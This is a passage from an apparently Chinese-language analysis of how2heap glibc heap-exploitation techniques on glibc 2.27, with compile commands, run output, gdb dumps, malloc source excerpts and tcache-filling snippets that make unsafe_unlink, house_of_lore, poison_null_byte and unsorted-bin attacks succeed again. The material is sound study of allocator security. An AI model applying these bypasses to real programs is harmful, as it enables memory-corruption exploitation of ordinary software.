BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAa
```

```
p3 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAa
```

```
If we memset(p3, 'C', 0x50), we have:
```

```
p4 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

AAAAAAAAAAAAAAAAAAAAa

[illegible]

此项技术是通过一个溢出漏洞，改写unsorted bin 中空闲堆块的 size，改变下一次malloc 可以返回的堆块大小。

2.13 overlapping_chunks_2

编译，运行得到结果：

```
$ gcc -g overlapping_chunks_2.c
```

```
$ ./a.out
```

Now we allocate 5 chunks on the heap

```
chunk p1: 0x18c2010 ~ 0x18c2028
```

```
chunk p2: 0x18c2030 ~ 0x18c20b8
```

chunk p3: 0x18c20c0 ~ 0x18c2148

chunk p4: 0x18c2150 ~ 0x18c21d8

```
chunk p5: 0x18c21e0 ~ 0x18c21f8
```

Let's free the chunk p4

```
Emulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size
↳ of chunk_p3)
```

```
Allocating a new chunk 6: 0x18c2030 ~ 0x18c21d8
```

Now p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0)

[illegible][illegible]

与 `overlapping_chunks` 不同的是, 此技术在 `free` 之前修改 `size` 值, 使 `free` 错误地修改了下一个 `chunk` 的 `prev_size` 值, 导致中间的 `chunk` 强行合并。

3 ptmalloc 分析

此处分析的版本为 glibc-2.27 中的 malloc 实现。

下载 glibc-2.27 源码，并编译 glibc，单独使用如下命令编译每个文件，将动态链接库替换为我们刚编译好的 glibc-2.27:

```
$ how2heap git:(master) gcc -g -L/root/tmpwork/g227/lib
↪ -Wl,--rpath=/root/tmpwork/g227/lib
↪ -Wl,--dynamic-linker=/root/tmpwork/g227/lib/ld-linux-x86-64.so.2 unsafe_unlink.c -o
↪ unsafe

$ how2heap git:(master) ldd unsafe
linux-vdso.so.1 => (0x00007fffa0a78000)
libc.so.6 => /root/tmpwork/g227/lib/libc.so.6 (0x00007f98aea71000)
/root/tmpwork/g227/lib/ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2
↪ (0x00007f98aee26000)
```

3.1 unsafe_unlink

依然使用之前的代码，只不过我们此次将 glibc 替换为 glibc-2.27，此后的操作均相同：

```
$ how2heap git:(master) gcc -g -L/root/tmpwork/g227/lib
↪ -Wl,--rpath=/root/tmpwork/g227/lib
↪ -Wl,--dynamic-linker=/root/tmpwork/g227/lib/ld-linux-x86-64.so.2 unsafe_unlink.c -o
↪ unsafe_unlink

$ how2heap git:(master) ldd unsafe_unlink
linux-vdso.so.1 => (0x00007fff301e7000)
libc.so.6 => /root/tmpwork/g227/lib/libc.so.6 (0x00007f9d47544000)
/root/tmpwork/g227/lib/ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2
↪ (0x00007f9d478f9000)

$ how2heap git:(master) ./unsafe_unlink
The global chunk0_ptr is at 0x601070, pointing to 0x1641260
The victim chunk we are going to corrupt is at 0x16412f0
Fake chunk fd: 0x601058
Fake chunk bk: 0x601060

Original value: AAAAAAAAAA
New Value: AAAAAAAAAA
```

发现我们 `unsafe_unlink` 攻击失效了。这是因为 `glibc-2.27` 添加了在 `unlink` 操作时候的检查，其中 `unlink` 操作的实现如下：

```

#define unlink(AV, P, BK, FD) {
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
        malloc_printerr ("corrupted size vs. prev_size");
    FD = P->fd;
    BK = P->bk;
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
        malloc_printerr ("corrupted double-linked list");
    else {
        FD->bk = BK;
        BK->fd = FD;
        if (!in_smallbin_range (chunksize_nomask (P))
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {
            if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
                malloc_printerr ("corrupted double-linked list (not small)");
            if (FD->fd_nextsize == NULL) {
                if (P->fd_nextsize == P)
                    FD->fd_nextsize = FD->bk_nextsize = FD;
                else {
                    FD->fd_nextsize = P->fd_nextsize;
                    FD->bk_nextsize = P->bk_nextsize;
                    P->fd_nextsize->bk_nextsize = FD;
                    P->bk_nextsize->fd_nextsize = FD;
                }
            } else {
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;
            }
        }
    }
}

```

`glibc-2.26` 引入了 `tcache` 机制，这是一种线程缓存机制，每个线程默认情况下有 64 个大小递增的 bins，每个 bin 是一个单链表，默认最多包含 7 个 chunk。其中缓存的 chunk 是不会被合并的，所以在释放 chunk 1 的时候，`chunk0_ptr` 仍然指向正确的堆地址，而不是之前的 `chunk0_ptr = P = P->fd`。为了解决这个问题，一种可能的办法是给填充进特定大小的 chunk 把 bin 占满，就像下面这样：

```
int *a[10];
int i;
for (i = 0; i < 7; i++) {
    a[i] = malloc(0x80);
}
for (i = 0; i < 7; i++) {
    free(a[i]);
}
```

程序中添加如上代码，运行：

```
$ ./unsafe_unlink
The global chunk0_ptr is at 0x601070, pointing to 0x6aa260
The victim chunk we are going to corrupt is at 0x6aa2f0

Fake chunk fd: 0x601058
Fake chunk bk: 0x601060

Original value: AAAAAAAAAA
New Value: BBBBBBBBBB
```

利用成功，那么如果我们绕过 glibc-2.27 中的 tcache，即 unsafe_unlink 的漏洞仍然存在。

3.2 house_of_spirit

编译、运行，得到如下结果：

```
$ how2heap-g227 gcc -g -L/root/tmpwork/g227/lib -Wl,--rpath=/root/tmpwork/g227/lib
↳ -Wl,--dynamic-linker=/root/tmpwork/g227/lib/ld-linux-x86-64.so.2 house_of_spirit.c -o
↳ house_of_spirit

$ how2heap-g227 ./house_of_spirit
We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two
↳ chunks.
The first one: 0x7ffda0ac1420
The second one: 0x7ffda0ac1440
Overwriting our pointer with the address of the fake region inside the fake first chunk,
↳ 0x7ffda0ac1420.
Freeing the overwritten pointer.
```


Now the next malloc will **return** the region of our fake chunk at 0x7ffda0ac1420, which will
 ↪ be 0x7ffda0ac1430!
 malloc(0x10): 0x7ffda0ac1430

本攻击成功的原因是, 我们已经控制了一个将被 free 的指针, 且已经布置好了一个 fastbin 的 fake_chunk 的相关参数, 接着在 free 操作时, 这个栈上的“堆块”即被投入 fastbin 中。下一次 malloc 对应的大小时, 由于 fastbin 的机制为先进后出, 故上次 free 的栈上的“堆块”能够被优先返回给用户。

3.3 house_of_lore

编译, 运行得到如下结果, 发现攻击不能正常进行:

```
$ how2heap-g227 gcc -g -L/root/tmpwork/g227/lib -Wl,--rpath=/root/tmpwork/g227/lib
↪ -Wl,--dynamic-linker=/root/tmpwork/g227/lib/ld-linux-x86-64.so.2 house_of_lore.c -o
↪ house_of_lore
$ how2heap-g227 ./house_of_lore
Allocated the victim (small) chunk: 0x621260
stack_buffer_1: 0x7fff39008000
stack_buffer_2: 0x7fff39007fe0
```

```
Freeing the victim chunk 0x621260, it will be inserted in the unsorted bin
victim->fd: (nil)
victim->bk: 0x4141414141414141
```

```
Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: 0x621310
The victim chunk 0x621260 will be inserted in front of the SmallBin
victim->fd: (nil)
victim->bk: 0x4141414141414141
```

```
Now emulating a vulnerability that can overwrite the victim->bk pointer
This last malloc should return a chunk at the position injected in bin->bk: 0x621260
The fd pointer of stack_buffer_2 has changed: 0x7fff39008000
```

攻击失效了, 我们来看一下是什么原因使攻击失效。下面的代码是 glibc2.27 中使用 tcache 对 smallbins 的处理方式。

```
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins) {
    mchunkptr tc_victim;
    /* While bin not empty and tcache not full, copy chunks over. */
```

```

while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) !=
    ↪ bin) {
if (tc_victim != 0) {
    bck = tc_victim->bck;
    set_inuse_bit_at_offset (tc_victim, nb);
    if (av != &main_arena)
set_non_main_arena (tc_victim);
    bin->bck = bck;
    bck->fd = bin;
    tcache_put (tc_victim, tc_idx);
}
}
}

```

从程序的运行结果上来看，`victim->bck: 0x4141414141414141` 的原因成为了我们 `memset()` 至内存的字符串，其中一大可能的原因是 `tcache`，源代码的第 39 行执行完毕后，我们可以在 `gdb` 的调试中印证这一点：

```

gef> x/20gx victim-0x2
0x603250:  0x0000000000000000  0x0000000000000091 <--victim
0x603260:  0x0000000000000000  0x4141414141414141 -
...      0x4141414141414141  0x4141414141414141 | <-- 'A'*0x80
0x6032d0:  0x4141414141414141  0x4141414141414141 -

gef> vmmmap heap
Start          End          Offset          Perm  Path
0x0000000000603000 0x0000000000624000 0x0000000000000000 rw-   [heap]

gef> x/20gx 0x0000000000603000+0x10 <- heap base+0x10
0x603010:  0x0100000000000000  0x0000000000000000 <- tcache_01
0x603020:  0x0000000000000000  0x0000000000000000
0x603030:  0x0000000000000000  0x0000000000000000
0x603040:  0x0000000000000000  0x0000000000000000
0x603050:  0x0000000000000000  0x0000000000000000
0x603060:  0x0000000000000000  0x0000000000000000
0x603070:  0x0000000000000000  0x0000000000000000
0x603080:  0x0000000000000000  0x0000000000603260 <- victim

```

在前面已经提到，`tcache` 的作用是为了更快速的 `unlink`，因此 `unlink` 下来的堆块首先将被放置在 `tcache` 中。因此，我们的处理方式和之前一样，只需要在 `malloc(0x80)` 之后添加填满 `tcache` 的代码：

```
// fill the tcache
int *a[10];
for (int i = 0; i < 7; i++) {
    a[i] = malloc(0x80);
}
for (i = 0; i < 7; i++) {
    free(a[i]);
}
```

并在再次 malloc(0x80) 之前清空掉 tcache 就可以了:

```
// empty the tcache
for (i = 0; i < 7; i++) {
    a[i] = malloc(0x80);
}
```

接着编译后再运行, 利用依然可以成功:

```
root in ~/how2heap-g227 at iZwz9eo57jnmoquu8r2fg0Z took 7m 53s
$ gcc -g -L/root/tmpwork/g227/lib -Wl,--rpath=/root/tmpwork/g227/lib
↳ -Wl,--dynamic-linker=/root/tmpwork/g227/lib/ld-linux-x86-64.so.2 house_of_lore.c -o
↳ house_of_lore_tcache_b
```

```
root in ~/how2heap-g227 at iZwz9eo57jnmoquu8r2fg0Z
$ ./house_of_lore_tcache_b
Allocated the victim (small) chunk: 0x230d260
stack_buffer_1: 0x7ffeccacf810
stack_buffer_2: 0x7ffeccacf830
```

```
Freeing the victim chunk 0x230d260, it will be inserted in the unsorted bin
victim->fd: 0x7f5adfe2fca0
victim->bk: 0x7f5adfe2fca0
```

```
Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: 0x230d700
The victim chunk 0x230d260 will be inserted in front of the SmallBin
victim->fd: 0x7f5adfe2fd20
victim->bk: 0x7f5adfe2fd20
```

Now emulating a vulnerability that can overwrite the victim->bk pointer

This last malloc should **return** a chunk at the position injected in bin->bk: 0x7ffeccacf820
The fd pointer of stack_buffer_2 has changed: 0x7ffeccacf820

Nice jump d00d

3.4 house_of_einherjar

编译后运行, house_of_einherjar 完全不受影响:

```
$ ./house_of_einherjar
```

```
We allocate 0x10 bytes for 'a': 0x16b9260
```

```
Our fake chunk at 0x7ffce41a2ae0 looks like:
```

```
prev_size: 0x80
```

```
size: 0x80
```

```
fwd: 0x7ffce41a2ae0
```

```
bck: 0x7ffce41a2ae0
```

```
fwd_nextsize: 0x7ffce41a2ae0
```

```
bck_nextsize: 0x7ffce41a2ae0
```

```
We allocate 0xf8 bytes for 'b': 0x16b9280
```

```
b.size: 0x101
```

```
We overflow 'a' with a single null byte into the metadata of 'b'
```

```
b.size: 0x100
```

```
We write a fake prev_size to the last 8 bytes of a
```

```
so that it will consolidate with our fake chunk
```

```
Our fake prev_size will be 0x16b9270 - 0x7ffce41a2ae0 = 0xffff80031d516790
```

```
Modify fake chunk's size to reflect b's new prev_size
```

```
Now we free b and this will consolidate with our fake chunk
```

```
Our fake chunk size is now 0xffff80031d516790 (b.size + fake_prev_size)
```

```
Now we can call malloc() and it will begin in our fake chunk: 0x16b9380
```

3.5 house_of_orange

编译, 运行, 结果报错:

```

root in ~/how2heap-g227 at iZwz9eo57jnmoquu8r2fg0Z
$ gcc -g3 -L/root/tmpwork/g227/lib -Wl,--rpath=/root/tmpwork/g227/lib
↪ -Wl,--dynamic-linker=/root/tmpwork/g227/lib/ld-linux-x86-64.so.2 house_of_orange.c -o
↪ house_of_orange

root in ~/how2heap-g227 at iZwz9eo57jnmoquu8r2fg0Z
$ ./house_of_orange
house_of_orange: malloc.c:2401: sysmalloc: Assertion `(old_top == initial_top (av) &&
↪ old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) &&
↪ ((unsigned long) old_end & (pagesize - 1)) == 0)' failed.
[1] 9705 abort      ./house_of_orange

```

我们在报错信息中可以看到，是在 malloc 源代码中的第 2401 行看到：

```

assert ((old_top == initial_top (av) && old_size == 0) ||
        ((unsigned long) (old_size) >= MINSIZE &&
         prev_inuse (old_top) &&
         ((unsigned long) old_end & (pagesize - 1)) == 0));

```

我们在前面就已经提到过，house_of_orange 是一种劫持 `_IO_list_all` 全局变量来伪造链表的利用技术，通过 `_IO_flush_all_lockp()` 函数触发。当 glibc 检测到内存错误的时候，会依次调用这样的函数路径：`malloc_printerr` -> `_libc_message` -> `abort` -> `_IO_flush_all_lockp`。

```
// glibc-2.23 in libio/genops.c
```

```

int
_IO_flush_all_lockp (int do_lock)
{
    int result = 0;
    struct _IO_FILE *fp;
    int last_stamp;

#ifdef _IO_MTSAFE_IO
    __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
    if (do_lock)
        _IO_lock_lock (list_all_lock);
#endif

    last_stamp = _IO_list_all_stamp;

```

```
fp = (_IO_FILE *) _IO_list_all;    // 将其覆盖为伪造的链表
while (fp != NULL)
{
    run_fp = fp;
    if (do_lock)
        _IO_flockfile (fp);

    if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)    // 条件
#ifdef _LIBC || defined _GLIBCXX_USE_WCHAR_T
        || (_IO_vtable_offset (fp) == 0
            && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                > fp->_wide_data->_IO_write_base))
#endif
    )
        && _IO_OVERFLOW (fp, EOF) == EOF)    // 将其修改为 system 函数
        result = EOF;

    if (do_lock)
        _IO_funlockfile (fp);
    run_fp = NULL;

    if (last_stamp != _IO_list_all_stamp)
    {
        /* Something was added to the list. Start all over again. */
        fp = (_IO_FILE *) _IO_list_all;
        last_stamp = _IO_list_all_stamp;
    }
    else
        fp = fp->_chain;    // 指向我们指定的区域
}

#ifdef _IO_MTSAFE_IO
    if (do_lock)
        _IO_lock_unlock (list_all_lock);
    __libc_cleanup_region_end (0);
#endif

return result;
}
```

于是对 `_IO_OVERFLOW(fp, EOF)` 的调用会变成对 `system('/bin/sh')` 的调用。但是在 glibc-2.24 中³增加了对指针 `vtable` 的检查。所有的 `libio` `vtables` 被放进了专用的只读的 `__libc_IO_vtables` 段，以使它们在内存中连续。在任何间接跳转之前，`vtable` 指针将根据段边界进行检查，如果指针不在这个段，则调用函数 `_IO_vtable_check()` 做进一步的检查，并且在必要时终止进程：

```
// glibc-2.24 in libio/libioP.h
/* Perform vtable pointer validation.  If validation fails, terminate
   the process.  */
static inline const struct _IO_jump_t *
_IO_validate_vtable (const struct _IO_jump_t *vtable)
{
    /* Fast path: The vtable pointer is within the __libc_IO_vtables
       section.  */
    uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
    const char *ptr = (const char *) vtable;
    uintptr_t offset = ptr - __start___libc_IO_vtables;
    if (__glibc_unlikely (offset >= section_length))
        /* The vtable pointer is not in the expected section.  Use the
           slow path, which will terminate the process if necessary.  */
        _IO_vtable_check ();
    return vtable;
}

// glibc-2.24 in libio/vtables.c
void attribute_hidden
_IO_vtable_check (void)
{
    #ifdef SHARED
        /* Honor the compatibility flag.  */
        void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
    #ifdef PTR_DEMANGLE
        PTR_DEMANGLE (flag);
    #endif
        if (flag == &_IO_vtable_check)
            return;

    /* In case this libc copy is in a non-default namespace, we always
```

³<https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=commitdiff;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51>

```

    need to accept foreign vtables because there is always a
    possibility that FILE * objects are passed across the linking
    boundary. */
{
    Dl_info di;
    struct link_map *l;
    if (_dl_open_hook != NULL
        || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
            && l->l_ns != LM_ID_BASE))
        return;
}

#else /* !SHARED */
/* We cannot perform vtable validation in the static dlopen case
   because FILE * handles might be passed back and forth across the
   boundary. Therefore, we disable checking in this case. */
if (__dlopen != NULL)
    return;
#endif

__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

```

3.6 house_of_force

编译, 运行:

```

root in ~/how2heap-g227 at iZwz9eo57jnmoquu8r2fg0Z took 10s
$ gcc -g3 -L/root/tmpwork/g227/lib -Wl,--rpath=/root/tmpwork/g227/lib
↪ -Wl,--dynamic-linker=/root/tmpwork/g227/lib/ld-linux-x86-64.so.2 house_of_force.c -o
↪ house_of_force

```

```

root in ~/how2heap-g227 at iZwz9eo57jnmoquu8r2fg0Z
$ ./house_of_force
We will overwrite a variable at 0x601080

```

Let's allocate the first chunk of 0x10 bytes: 0x1165260.
 Real size of our allocated chunk is 0x18.

Overwriting the top chunk size with a big value so the malloc will never call mmap.

Old size of top chunk: 0x20d91

New size of top chunk: 0xffffffffffffffff

The value we want to write to at 0x601080, and the top chunk is at 0x1165278, so accounting

↪ for the header size, we will malloc 0xffffffff49bdf8 bytes.

As expected, the new pointer is at the same place as the old top chunk: 0x1165280

malloc(0x30) => 0x601080!

Now, the next chunk we overwrite will point at our target buffer, so we can overwrite the

↪ value.

old string: This is a string that we want to overwrite.

new string: YEAH!!!

glibc-2.27 不能防御 house_of_force 的利用。

3.7 poison_null_byte

编译, 运行, 不能攻击成功:

root in ~/how2heap-g227 at iZwz9eo57jnmoquu8r2fg0Z took 7s

\$ gcc -g3 -L/root/tmpwork/g227/lib -Wl,--rpath=/root/tmpwork/g227/lib

↪ -Wl,--dynamic-linker=/root/tmpwork/g227/lib/ld-linux-x86-64.so.2 poison_null_byte.c -o

↪ poison_null_byte

root in ~/how2heap-g227 at iZwz9eo57jnmoquu8r2fg0Z

\$./poison_null_byte

We allocate 0x10 bytes for 'a': 0x1149260

'real' size of 'a': 0x18

b: 0x1149280

c: 0x1149390

b.size: 0x111 ((0x100 + 0x10) | prev_in_use)

After free(b), c.prev_size: 0

We overflow 'a' with a single null byte into the metadata of 'b'

b.size: 0x100

Pass the check: chunksize(P) == 0x100 == 0x100 == prev_size (next_chunk(P))

We malloc 'b1': 0x1149420

c.prev_size: 0

```
fake c.prev_size: 0x100
```

We malloc 'b2', our 'victim' chunk: 0x11494b0

Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about ↪ 'b2').

Finally, we allocate 'd', overlapping 'b2': 0x1149500

```
b2 content:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

```
New b2 content:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

我们在 gdb 中调试，在 free(b) 这条命令下断点，查看当前的堆分布：

```
gef> p b
```

```
$1 = (uint8_t *) 0x603280 ""
```

```
gef> vmmap heap
```

Start	End	Offset	Perm Path
0x0000000000603000	0x0000000000624000	0x0000000000000000	rw- [heap]

```
gef> x/30gx 0x0000000000603000+0x10 <-- heap base
0x603010: 0x0000000000000000 0x0100000000000000 <-- tcache_1
0x603020: 0x0000000000000000 0x0000000000000000
...
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000603280 <-- address of b
```

可以很明显的看到，glibc 为了效率，没有将 free 后的 b 放置在 unsorted_bins 中。和之前的处理方式一样，我们只需要在 free 和 malloc 前后分别填满和置空 tcache 就可以了：

```
// deal with tcache, line 38
```

```
int *k[10], i;
for (i = 0; i < 7; i++) {
    k[i] = malloc(0x100);
}
for (i = 0; i < 7; i++) {
    free(k[i]);
}
free(b);
```

```
// deal with tcache
for (i = 0; i < 7; i++) {
    k[i] = malloc(0x80);
}
for (i = 0; i < 7; i++) {
    free(k[i]);
}
free(b1);
```

增加了填满 tcache 的代码后，重新编译后运行：

```
$ ./poison_null_byte_tcache
We allocate 0x10 bytes for 'a': 0x1104260
'real' size of 'a': 0x18
b: 0x1104280
c: 0x1104390
b.size: 0x111 ((0x100 + 0x10) | prev_in_use)

After free(b), c.prev_size: 0x110
We overflow 'a' with a single null byte into the metadata of 'b'
b.size: 0x100

Pass the check: chunksize(P) == 0x100 == 0x100 == prev_size (next_chunk(P))
We malloc 'b1': 0x1104280
c.prev_size: 0x110
fake c.prev_size: 0x70

We malloc 'b2', our 'victim' chunk: 0x1104310
Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about
↳ 'b2').
Finally, we allocate 'd', overlapping 'b2': 0x1104280

b2 content:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
New b2 content:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAA
```

利用成功。

3.8 unsorted_bin_attack

编译，运行得到结果：

```
$ ./unsorted_bin_attack
```

```
The target we want to rewrite on stack: 0x7ffd6553aaa0 -> 0
```

```
Now, we allocate first small chunk on the heap at: 0x1093260
```

```
We free the first chunk now. Its bk pointer point to (nil)
```

```
We write it with the target address-0x10: 0x7ffd6553aa90
```

```
Let's malloc again to get the chunk we just free: 0x7ffd6553aaa0 -> (nil)
```

利用没有成功，我们在 gdb 中打开，在 `free(p)` 后下断，并查看当前堆布局：

```
gef> p p
```

```
$1 = (unsigned long *) 0x602260
```

```
gef> vmmap heap
```

Start	End	Offset	Perm Path
0x0000000000602000	0x0000000000623000	0x0000000000000000	rw- [heap]

```
gef> x/30gx 0x0000000000602000+0x10 <-- heap base
0x602010: 0x0100000000000000 0x0000000000000000 <-- tcache_1
0x602020: 0x0000000000000000 0x0000000000000000
...
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000602260 <-- address of p
```

发现还是 tcache 的影响，我们和之前的操作一样，只需要在 `free` 和 `malloc` 前后分别填满和置空 tcache 就可以了。但是，与之前的不同的是，从 `unsorted bins` 中取出 chunks 的时候，会先放置在 tcache bins 中，然后再从 tcache bin 中取出。那么问题就来了，在放进 tcache bin 的这个过程中，`malloc` 会以为我们的 target address 也是一个 chunk，然而这个“chunk”是过不了检查的，将抛出“memory corruption”的错误。如下方的处理逻辑：

```
// in malloc.c, line 3788
```

```
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
    bck = victim->bk;
    if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
        || __builtin_expect (chunksize_nomask (victim)
            > av->system_mem, 0))
        malloc_printerr ("malloc(): memory corruption");
```

那么要想跳过放 chunk 的这个过程,就需要对应 tcache bin 的 counts 域不小于 tcache_count (默认为 7),但如果 counts 不为 0,说明 tcache bin 里是有 chunk 的,那么 malloc 的时候会直接从 tcache bin 里取出,于是就没有 unsorted bin 什么事了:

```
if (tc_idx < mp_.tcache_bins
    /*tc_idx tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
    && tcache
    && tcache->entries[tc_idx] != NULL)
{
    return tcache_get (tc_idx);
}
```

这就造成了矛盾,所以我们需要找到一种既能从 unsorted bin 中取 chunk,又不会将 chunk 放进 tcache bin 的办法。这里用到的技术是, tcache poisoning⁴。将 counts 修改成了 0xff,于是在进行到下面这里时就会进入 else 分支,直接取出 chunk 并返回:

```
// in malloc.c, line 2938
static void * tcache_get (size_t tc_idx) {
    tcache_entry *e = tcache->entries[tc_idx];
    assert (tc_idx < TCACHE_MAX_BINS);
    assert (tcache->entries[tc_idx] > 0);
    tcache->entries[tc_idx] = e->next;
    /* integer overflow: 0x00 - 1 = 0xff
    make counts=0x00, then, it will be 0xff*/
    --(tcache->counts[tc_idx]);
    return (void *) e;
}

// in malloc.c, line 3788
#ifdef USE_TCACHE
    /* Fill cache first, return to user only if cache fills.
    We may return one of these chunks later. */
    if (tcache_nb
        && tcache->counts[tc_idx] < mp_.tcache_count)
    {
        tcache_put (victim, tc_idx);
    }
```

⁴详见 <http://tukan.farm/2017/07/08/tcache/>

```

        return_cached = 1;
        continue;
    }
    else
    {
#endif
        check_malloced_chunk (av, victim, nb);
        void *p = chunk2mem (victim);
        alloc_perturb (p, bytes);
        return p;

```

这里值得注意的是， `tcache_get()` 函数内部不包含任何检查措施，也是我们利用成功的原因之一。

3.9 unsorted_bin_into_stack

编译，运行，攻击没有成功：

```

$ how2heap-227 ./unsorted_bin_into_stack
Allocating the victim chunk
Allocating another chunk to avoid consolidating the top chunk with the small one during the
↳ free()
Freeing the chunk 0x164b260, it will be inserted in the unsorted bin
Create a fake chunk on the stackSet size for next allocation and the bk pointer to any
↳ writable addressNow emulating a vulnerability that can overwrite the victim->size and
↳ victim->bk pointer
Size should be different from the next request size to return fake_chunk and need to pass
↳ the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem
Now next malloc will return the region of our fake chunk: 0x7ffd5f1d1600
malloc(0x100): 0x164b260

```

攻击失败了，gdb 调试可以看到：

```

gef> x/30gx 0x00000000000602000+0x10
0x602010: 0x0000000000000000 0x0100000000000000 <-- tcache_1
0x602020: 0x0000000000000000 0x0000000000000000
.....: ...
0x6020c0: 0x0000000000000000 0x00000000000602260 <-- address of victim

```

可以很明显的看到，就像之前影响 `free()` 的一样，同样是 `tcache` 影响了，我们只需要在代码中将 `tcache` 占满即可：

```
// deal with tcache
int *k[10], i;
for (i = 0; i < 7; i++) {
    k[i] = malloc(0x80);
}
for (i = 0; i < 7; i++) {
    free(k[i]);
}
```

添加后编译运行，攻击成功：

```
$ how2heap-227 ./unsorted_bin_into_stack
Allocating the victim chunk
Allocating another chunk to avoid consolidating the top chunk with the small one during the
↳ free()
Freeing the chunk 0x1e53260, it will be inserted in the unsorted bin
Create a fake chunk on the stackSet size for next allocation and the bk pointer to any
↳ writable addressNow emulating a vulnerability that can overwrite the victim->size and
↳ victim->bk pointer
Size should be different from the next request size to return fake_chunk and need to pass
↳ the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem
Now next malloc will return the region of our fake chunk: 0x7ffe370742b0
malloc(0x100): 0x7ffe370742b0
```

3.10 fastbin_dup

编译运行，可以成功运行，攻击看上去是成功的，但是结果有一点不同：

```
$ how2heap-227 ./fastbin_dup
./fastbin
This file demonstrates a simple double-free attack with fastbins.
Allocating 3 buffers.
1st malloc(8): 0x8a5260
2nd malloc(8): 0x8a5280
3rd malloc(8): 0x8a52a0
Freeing the first one...
If we free 0x8a5260 again, things will crash because 0x8a5260 is at the top of the free
↳ list.
So, instead, we'll free 0x8a5280.
```

Now, we can free 0x8a5260 again, since it's not the head of the free list.

Now the free list has [0x8a5260, 0x8a5280, 0x8a5260]. If we malloc 3 times, we'll get
↪ 0x8a5260 twice!

1st malloc(8): 0x8a5260

2nd malloc(8): 0x8a5280

3rd malloc(8): 0x8a5260

3.11 fastbin_dup_into_stack

编译运行，可以发现我们实际得到的地址和我们想得到的地址差了 0x10:

```
$ how2heap-227 ./fastbin_dup_into_stack
```

This file extends on fastbin_dup.c by tricking malloc into
returning a pointer to a controlled location (in this case, the stack).

The address we want malloc() to return is 0x7ffc77f4dbd8.

Allocating 3 buffers.

1st malloc(8): 0x189d260

2nd malloc(8): 0x189d280

3rd malloc(8): 0x189d2a0

Freeing the first one...

If we free 0x189d260 again, things will crash because 0x189d260 is at the top of the free
↪ list.

So, instead, we'll free 0x189d280.

Now, we can free 0x189d260 again, since it's not the head of the free list.

Now the free list has [0x189d260, 0x189d280, 0x189d260]. We'll now carry out our attack
↪ by modifying data at 0x189d260.

1st malloc(8): 0x189d260

2nd malloc(8): 0x189d280

Now the free list has [0x189d260].

Now, we have access to 0x189d260 while it remains at the head of the free list.

so now we are writing a fake free size (in this case, 0x20) to the stack,

so that malloc will think there is a free chunk there and agree to

return a pointer to it.

Now, we overwrite the first 8 bytes of the data at 0x189d260 to point right before the 0x20.

```
*d => 0x7ffc77f4dbc8
```

```
d => 0x189d260
```

```
&d => 0x7ffc77f4dbd8
```

3rd malloc(8): 0x189d260, putting the stack address on the free list

4th malloc(8): 0x7ffc77f4dbc8

这也是由于 tcache 的影响。我们可以在源码中看到，从 fastbin 中申请 chunk 时，会触发 tcache：

```
#if USE_TCACHE

    /* While we're here, if we see other chunks of the same size,
    stash them in the tcache. */
    size_t tc_idx = csize2tidx (nb);
    if (tcache && tc_idx < mp_.tcache_bins)
    {
